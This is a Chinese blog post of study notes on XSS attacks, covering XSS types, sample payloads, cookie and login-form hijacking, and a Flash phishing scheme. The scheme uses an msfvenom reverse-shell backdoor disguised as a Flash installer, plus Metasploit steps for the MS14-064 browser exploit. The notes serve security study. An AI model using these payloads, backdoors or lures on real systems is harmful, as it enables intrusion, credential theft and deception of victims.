XSS知识点总结

  • xss跨站

    • 分类

      • dom
      • 反射
      • 存储
      • 不常用
        • mXSS(突变型 XSS) UXSS(通用型 xss) Flash XSS UTF-7 XSS MHTML XSS CSS XSS VBScript XSS
    • 危害

      • 网络钓鱼,包括获取各类用户账号
      • 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份对网站执行操作
      • 劫持用户(浏览器)会话,从而执行任意操作,如,非法转账、发表日志、强制弹出广告页面、刷流量等
      • 网页挂马
    • 原理

      • 攻击者利用网站对用户输入过滤不足,输入可以显示在对其他用户的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行伤害的一种攻击方式
      • 数据交互的地方·

        • get、post、headers
        • 反馈与浏览
        • 富文本编辑器
        • 各类标签插入和自定义
      • 数据输出的地方

        • 用户资料
        • 关键词、标签、说明
        • 文件上传


  • xss知识总结

    • 原理
      • 攻击者利用网站程序对用户输入过滤不足,输入了对用户造成影响的html代码,从而盗取用户资料等
      • 通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。
      • 数据交互
        • get
        • post
        • headers
        • 反馈与浏览
        • 富文本编辑器
        • 各类标签插入和自定义
      • 数据输出
        • 用户资料 关键词、标签、说明 文件上传
    • 分类
      • 反射型(非持久型)
        • 不会存储在数据库,攻击者构造链接,只有用户点击了才会触发攻击代码,所有反射性xss属于一次性漏洞
          • UA:User-Agent
          • UA头换成xss代码
            • <script>alert(`xss`)</script>
      • 存储型(持久型)
        • 留言板,只要有人访问留言板就会触发xss攻击
      • DOM 型
        • 不与后台数据库产生数据交互,是一种通过DOM操作前端代码输出的时候长生的问题;DOM型xss取决于输出的位置,并不取决于输出环境,
          • 如果出现输入内容拼接到a标签里面<a herf="123">what do you see?</a>
          • 尝试构造闭合触发弹窗--`onclick=:"alert(`xss`)">
          • <img src=0 onerror=`alert(0)`>
          • referer
            • 链接后面加" onerror="alert(0)
      • mXSS( 突变型 XSS)
        • 中文突变型xss
          • 原先交的payload无害,但经过一些特殊原因,如反编码等,导致payload发生变异,导致xss
          • <script src="链接"></script>
      • UXSS (通用型 xss )
        • UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。UXSS 可以理解为Bypass 同源策略。
      • Flash XSS
        • getURL/navigateToURL 访问跳转
        • externallnterface.call 调用js函数
        • payload
          • /res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1))}catch(
          • e){}//
      • UTF-7 XSS
      • MHTML XSS
      • CSS XSS
      • VBScript XSS
    • 危害
      • 网络钓鱼,包括获取各类用户账号; 窃取用户 cookies 资料,从而获取用户隐私信息,或利用用户身份对网站执行操作; 劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等; 强制弹出广告页面、刷流量等; 网页挂马。
    • xss利用环境
      • Beef-xss项目
        *
      • xsspddf
        • 创建PDF,加入动作JS
      • 后台植入cookie&表单劫持
        • cookie可能会因为过滤不全导致获取不全,可使用获取表单的方法劫持密码(检测或者检测不出来);表单密码:查看登录界面,在登录页面处(即打开后若是index页面,在index页面首部放入代码<xss平台获取代码>),通过js代码发送到指定位置,在目的服务器处编写接受文件即可;执行代码,就会在xss平台上获取cookie
      • Flash钓鱼配合MSF捆绑上线
        • 生成后门
          • msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=6666 -f exe > flash.exe
        • 下载官方文件-保证安装正常
        • 压缩捆绑文件-解压提取运行
        • MSF配置监听状态
          • use exploit/multi/handler
          • set payload windows/meterpreter/reverse_tcp
          • set lhost 0.0.0.0
          • set lport 6666
          • run
        • 诱使受害者访问URL
          • 伪造下载链接,后门和软件同时压缩,诱导下载,在服务器上进行监听,获取权限

          • <a herf="利用kali生成后门脚本链接"target="_self">

        • 浏览器网马配合 MSF 访问上线
          • 待定
              • 条件: beef 上线受控后或直接钓鱼(浏览器存在 0day )
            • MS14-064简介: Microsoft Windows OLE远程代码执行漏洞, OLE (对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影Win95+IE3 - Win10+IE11全版本。
            • 1、配置 MSF 生成 URL
            • msfconsole
            • use exploit/windows/browser/ms14_064_ole_code_execution
            • set allowpowershellprompt true
            • set target 1
            • run
            • 2、诱使受害者访问 URL-语言要适当
            • 漏洞复现:https://www.cnblogs.com/panglinglong/p/17393402.html

  • xss
    • swf调用js

      • 一、 环境准备,安全沙箱:
      • 1 一般在主SWF的构造函数里加上

        • Security.allowDomain("相关域名"), 比如 Security.allowDomain("91doule.com")
        • 测试时不考虑安全问题,一般使用Security.allowDomain("*")
        • AS代码:设置允许JS调用
      • 二、SWF 调用 JS, 调用示例
          1. AS 代码: ExternalInterface.call("jsFunc", param);
      • 三、JS 调用AS,调用示例
        • 1 SWF 里注册供JS 回调的函数 jsCallAsFunc
          • AS 代码: ExternalInterface.addCallback("jsCallback", jsCallback);
        1. JS 获取SWF 对象, 并且调用AS 函数
      • JS代码:
      • var find = function(tag){var list=document.getElementsByTagName(tag);for(var i=0;i!=list.length;i++){if(list[i].jsCallback){return list[i]}}};
      • var flashObj = find("embed") || find("object");
      • if(flashObj != null){
      • flashObj.jsCallback(callbackId,response);
      • }
相关推荐
风之舞_yjf2 小时前
Vue基础(26)_单文件组件
前端·vue.js
weixin_422201302 小时前
Element Plus中el-tree组件默认选中第一个节点的实现方法
前端·javascript·vue.js
_OP_CHEN2 小时前
【前端开发之CSS】(六)CSS 弹性布局(Flex)完全指南:从入门到精通,搞定所有布局需求
前端·css·html·flex布局·弹性布局·界面美化·页面开发
雄狮少年2 小时前
简单react agent(没有抽象成基类、子类,直接用)--- langgraph workflow版 ------demo1
前端·python·react.js
css趣多多2 小时前
组件没有原生事件
前端·javascript·vue.js
小小弯_Shelby2 小时前
el-form表单简洁有效地解决新增与查看详情共用一个页面问题,控制el-form的disabled设置和修改样式
前端·vue.js·elementui
0思必得02 小时前
[Web自动化] 数据抓取、解析与存储
运维·前端·爬虫·selenium·自动化·web自动化
xiaoxue..2 小时前
全栈项目 学习日记 (第一章)
前端·react.js·面试·vite
chen_song_2 小时前
Agent 经典范式构建之 ReAct (Reasoning and Acting): 一种将“思考”和“行动”紧密结合的范式,让智能体边想边做,动态调整
前端·react.js·前端框架